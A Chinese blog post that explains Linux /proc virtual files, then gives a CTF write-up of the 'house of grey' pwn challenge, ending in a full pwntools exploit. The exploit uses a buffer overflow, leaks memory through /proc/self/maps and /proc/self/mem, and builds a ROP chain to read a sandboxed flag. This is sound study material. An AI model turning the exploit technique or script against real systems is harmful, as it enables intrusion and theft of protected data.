Ikoct的饮冰室

你愿意和我学一辈子二进制吗?

0%

Linux中的虚拟文件

除了存放在物理内存中的文件外Linux还提供了一系列虚拟文件系统来访问系统资源 其中/proc可以访问一个进程的所有信息 可以用来读取一些敏感程序信息 使用/proc/<pid>/来访问pid所指进程的资源 详细信息参考Linux内核文档

各个子文件

File Content
clear_refs Clears page referenced bits shown in smaps output
cmdline Command line arguments
cpu Current and last cpu in which it was executed (2.4)(smp)
cwd Link to the current working directory
environ Values of environment variables
exe Link to the executable of this process
fd Directory, which contains all file descriptors
maps Memory maps to executables and library files (2.4)
mem Memory held by this process
root Link to the root directory of this process
stat Process status
statm Process memory status information
status Process status in human readable form
wchan Present with CONFIG_KALLSYMS=y: it shows the kernel function symbol the task is blocked in - or “0” if not blocked.
pagemap Page table
stack Report full stack trace, enable via CONFIG_STACKTRACE
smaps An extension based on maps, showing the memory consumption of each mapping and flags associated with it
smaps_rollup Accumulated smaps stats for all mappings of the process. This can be derived from smaps, but is faster and more convenient
numa_maps An extension based on maps, showing the memory locality and binding policy as well as mem usage (in pages) of each mapping.

/proc/self/cmdline

  • 作用:存储进程的命令行参数 以 \0 作为分隔符(不像 ps aux 那样以空格分隔)

  • 查看方式:

    1
    cat /proc/self/cmdline
    • 如果当前进程是

      1
      ./myprogram arg1 arg2

      那么内容类似:

      1
      ./myprogramarg1arg2

/proc/self/environ

  • 作用:存储进程的环境变量 每个变量以 \0 作为分隔符

  • 查看方式:

    1
    cat /proc/self/environ | tr '\0' '\n'
    • 示例输出:

      1
      2
      3
      PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
      SHELL=/bin/bash
      USER=root

/proc/self/exe

  • 作用:指向进程当前执行的可执行文件

  • 查看方式:

    1
    ls -l /proc/self/exe
    • 示例输出:

      1
      lrwxrwxrwx 1 root root 0 Mar 3 10:00 /proc/self/exe -> /usr/bin/ls
  • 获取可执行路径:

    1
    readlink /proc/self/exe
    • 输出示例:

      1
      /usr/bin/bash

/proc/self/fd/

  • 作用:存储当前进程打开的所有文件描述符(类似 ls -l /proc/self/fd/)

  • 查看打开的文件:

    1
    ls -l /proc/self/fd/
    • 示例输出:

      1
      2
      3
      4
      5
      total 0
      lrwx------ 1 user user 64 Mar 3 10:00 0 -> /dev/pts/1
      lrwx------ 1 user user 64 Mar 3 10:00 1 -> /dev/pts/1
      lrwx------ 1 user user 64 Mar 3 10:00 2 -> /dev/pts/1
      lr-x------ 1 user user 64 Mar 3 10:00 3 -> /var/log/syslog
    • 0 = 标准输入(stdin)

    • 1 = 标准输出(stdout)

    • 2 = 标准错误(stderr)

    • 3 及以上 = 进程打开的其他文件


/proc/self/maps

  • 作用:显示当前进程的内存映射 包括代码段、堆、栈、动态库等

  • 查看方式:

    1
    cat /proc/self/maps
    • 示例输出:

      1
      2
      3
      4
      5
      6
      555555554000-555555556000 r-xp 00000000 08:01 123456 /usr/bin/myprogram
      555555756000-555555757000 rw-p 00002000 08:01 123456 /usr/bin/myprogram
      7ffff7dcf000-7ffff7df1000 r-xp 00000000 08:01 654321 /lib/x86_64-linux-gnu/libc.so.6
      7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
      7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
      7fffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
    • 主要映射区域:

      • 可执行文件代码段(r-xp)
      • 可执行文件数据段(rw-p)
      • 共享库(如 libc.so.6)
      • 堆(heap)
      • 栈(stack)
      • vdsovvar 等特殊段

/proc/self/mem

  • 作用:映射当前进程的整个内存(可用 lseek + read 读取)

  • 示例:读取特定地址:

    1
    2
    3
    int fd = open("/proc/self/mem", O_RDONLY);
    lseek(fd, (off_t)0x555555554000, SEEK_SET);
    read(fd, buffer, sizeof(buffer));
    • 只能读取已映射区域 否则 read() 失败

/proc/self/stat

  • 作用:进程的详细状态信息(数值型)

  • 查看方式:

    1
    cat /proc/self/stat
    • 示例输出:

      1
      1234 (myprogram) R 567 567 567 0 -1 4194560 250 0 0 0 0 0 0 0 20 0 1 0 12345678 12345678 1000 0 0 0 0 18446744073709551615 4194304 1234 0 0 0 0 0 0 17 0 0 0 0 0 0
    • 第 1 项:PID

    • 第 2 项:进程名

    • 第 3 项:进程状态(R = 运行 S = 睡眠)

    • 其他信息如父进程 PID、优先级、进程时间等


/proc/self/status

  • 作用:与 stat 类似 但更可读

  • 查看方式:

    1
    cat /proc/self/status
    • 示例:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      Name:   cat
      Umask: 0022
      State: R (running)
      Tgid: 107428
      Ngid: 0
      Pid: 107428
      PPid: 64836
      TracerPid: 0
      Uid: 1000 1000 1000 1000
      Gid: 1000 1000 1000 1000
      FDSize: 64
      Groups: 4 20 24 25 27 29 30 44 46 100 101 113 116 129 136 1000
      NStgid: 107428
      NSpid: 107428
      NSpgid: 107428
      NSsid: 64836
      ...
    • 包含进程名称、状态、PID、内存占用、线程数等信息

应用举例

[攻防世界] house of grey

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
char buf; // [rsp+1Bh] [rbp-25h] BYREF
int stat_loc; // [rsp+1Ch] [rbp-24h] BYREF
int fd; // [rsp+20h] [rbp-20h]
__pid_t pid; // [rsp+24h] [rbp-1Ch]
__int64 random; // [rsp+28h] [rbp-18h] BYREF
char *v8; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
init_0();
puts("Welcome to my house! Enjoy yourself!\n");
puts("Do you want to help me build my room? Y/n?");
read(0, &buf, 4uLL);
if ( buf == 'y' || buf == 'Y' )
{
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
perror("open");
exit(1);
}
read(fd, &random, 8uLL);
close(fd);
random &= 0xFFFFF0u;
v8 = (char *)mmap(0LL, 0x10000000uLL, 3, 131106, -1, 0LL);
if ( v8 == (char *)-1LL )
{
perror("mmap");
exit(1);
}
pid = clone(fn, &v8[random], 256, 0LL);
if ( pid == -1 )
{
perror("clone");
exit(1);
}
waitpid(pid, &stat_loc, 0x80000000);
if ( (stat_loc & 0x7F) != 0 )
puts("\nMaybe something wrong? Build failed!");
else
puts("\nBuild finished! Thanks a lot!");
exit(0);
}
puts("You don't help me? OK, just get out of my hosue!");
exit(0);
}

初始化函数中设置了几个沙箱规则 seccomp-tools反汇编看一下

image-20250303112646766

禁掉了execve 意味着主线程不可能get shell

回到主函数 mmap了一块 0x10000000 bytes 的空间 然后从随机数发生器中读取一个0x10对齐的随机数作为将fn()映射到mmap出来的空间后使用的栈地址 然后启用子线程执行fn()

主线程执行的函数基本可以排除泄露flag的可能 只有4字节的输入并且通过exit()退出 接下来看看fn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
int menu()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("\n1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit");
read(0, buf, 2uLL);
return atoi(buf);
}

void __fastcall __noreturn fn(void *arg)
{
int fd; // [rsp+10h] [rbp-70h]
int i; // [rsp+14h] [rbp-6Ch]
int v3; // [rsp+1Ch] [rbp-64h]
int v4; // [rsp+1Ch] [rbp-64h]
void *v5; // [rsp+20h] [rbp-60h]
unsigned __int64 offset; // [rsp+28h] [rbp-58h]
char buf[24]; // [rsp+30h] [rbp-50h] BYREF
void *v8; // [rsp+48h] [rbp-38h]
char nptr[40]; // [rsp+50h] [rbp-30h] BYREF
unsigned __int64 v10; // [rsp+78h] [rbp-8h]

v10 = __readfsqword(0x28u);
puts("You get into my room. Just find something!\n");
v5 = malloc(0x186A0uLL);
if ( !v5 )
{
perror("malloc");
exit(1);
}
if ( setbpf() )
exit(1);
v8 = v5;
for ( i = 0; i <= 29; ++i )
{
switch ( menu() )
{
case 1:
puts("So man, what are you finding?");
buf[(int)(read(0, buf, 0x28uLL) - 1)] = 0;
if ( check(buf) ) //include 'flag' or '*'
{
puts("Man, don't do it! See you^.");
exit(1);
}
fd = open(buf, 0);
if ( fd < 0 )
{
perror("open");
exit(1);
}
return;
case 2:
puts("So, Where are you?");
read(0, nptr, 0x20uLL);
offset = strtoull(nptr, 0LL, 10);
lseek(fd, offset, 0);
break;
case 3:
puts("How many things do you want to get?");
read(0, nptr, 8uLL);
v3 = atoi(nptr);
if ( v3 <= 100000 )
{
v4 = read(fd, v8, v3);
if ( v4 < 0 )
{
puts("error read");
perror("read");
exit(1);
}
puts("You get something:");
write(1, v8, v4);
}
else
{
puts("You greedy man!");
}
break;
case 4:
puts("What do you want to give me?");
puts("content: ");
read(0, v8, 0x200uLL);
break;
case 5:
exit(0);
default:
continue;
}
}
puts("\nI guess you don't want to say Goodbye!");
puts("But sadly, bye! Hope you come again!\n");
exit(0);
}

子线程也加载了沙箱规则 调试时dump出来反汇编一下:

image-20250303114527889

只能使用fn要用到的功能 所以子线程也是不可能get shell的 只可能对flag orw回显内容

回到fn函数 一个明显的漏洞点就是buf长度是24字节 但是可以读0x28字节覆盖掉v8 而功能4可以向v8储存的地址写入0x200字节的数据 也就是可以简单地实现任意地址写

问题是fn函数同样用exit()退出 所以不可能通过修改fn的返回地址来读出flag 而fn中调用的具有输入功能的函数有menu()read() menu中无法利用AAW 而功能4中read函数可以修改自己的返回地址调用ROP链伪造fn的栈帧将[rbp+buf]修改为’flag’ 然后直接返回到open(buf, 0)来绕过检查并利用功能3打印出flag

现在唯一的问题是fn的栈帧地址是随机的 我们只能通过上文提到的特殊文件系统/proc/self/maps来泄露各个段的基址 然后再通过/proc/self/mem读取100000字节的数据 检查其中是否有fn栈帧中的数据来定位fn栈帧的地址

由于fn中的功能最多只能使用30次 而100000 * 30字节的数据在mmap出的0x10000000字节下也只占了很小的一段 所以还不一定能在一次远程连接中找到栈帧并进行后续操作 而且前置工作和后续打ROP都需要占用几次功能的使用

本地调试几次取个平均值加到泄露出的段基址上 然后通过功能2 fseek()定位到此处 通过功能3读取数据并检查 当检测到特定数据存在就计算这个数据所在的地址 再计算read函数的返回地址存放的位置即可做到在一次read后伪造栈帧并写入ROP

经过调试 栈帧结构如下:

1
2
3
4
5
6
7
8
LOW
...
[rbp + buf - 0x38] -> read()'s retaddress
...
[rbp + buf] -> buf[24] -> b'/proc/self/maps\x00'
[rbp + buf + 0x18] -> void *v8
...
HIGH

要检查的特定数据就设定为b'/proc'

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.arch = 'amd64'
elf = ELF('./ho_grey')
# p = remote('localhost', 20000)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

def choose(c):
sla(b'5.Exit', str(c).encode())

def get(n):
choose(3)
sla(b'get?', str(n).encode())
ru(b'something:\n')
return r(n)

def set_offset(n):
choose(2)
sla(b'you?', str(n).encode())

program_base = 0
heap_base = 0
stack_base = 0
pos = 0
found = False

while not found:
p = remote('61.147.171.105', xxxxx)
sla(b'Y/n?', b'y')
choose(1)
sla(b'finding?', b'/proc/self/maps')

choose(3)
sla(b'get?', b'10000')
ru(b'You get something:\n')
maps = ru(b'Find something').decode().split('\n')
program_base = int(maps[0].split('-')[0], 16)
heap_base = int(maps[3].split('-')[0], 16)
stack_base = int(maps[4].split('-')[0], 16)
log.info('program_base: ' + hex(program_base))
log.info('heap_base: ' + hex(heap_base))
log.info('stack_base: ' + hex(stack_base))

choose(1)
mem = b'/proc/self/mem\x00'
sla(b'finding?', mem)
alignn = 100000
memo = b''
pos = stack_base + 0x600000
set_offset(pos)
while not found:
log.info(f'Round: {hex(pos)}')
try:
memo = get(alignn)
except:
break
pos += alignn
if b'/proc' in memo:
found = True
ru(b'1.Find something')
pos = pos - alignn + memo.find(b'/proc')
log.success('Found /proc/self/mem at ' + hex(pos))

choose(1)
payload = b'./run.sh\x00'
payload += b'\x00' * (0x18 - len(payload)) + p64(pos - 0x38)
sa(b'finding?', payload)

choose(4)
path = b'flag'
path += b'\x00' * (0x18 - len(path)) + p64(heap_base + 0x100)
sa(b'content: ', p64(program_base + 0x1150) + b'\x00' * 0x30 + path)

itr()

其中本地拿到flag不需要在写入ROP和b'flag'时进一步覆盖掉v8 而远程拿到flag需要将v8地址覆盖成一个可读可写的地址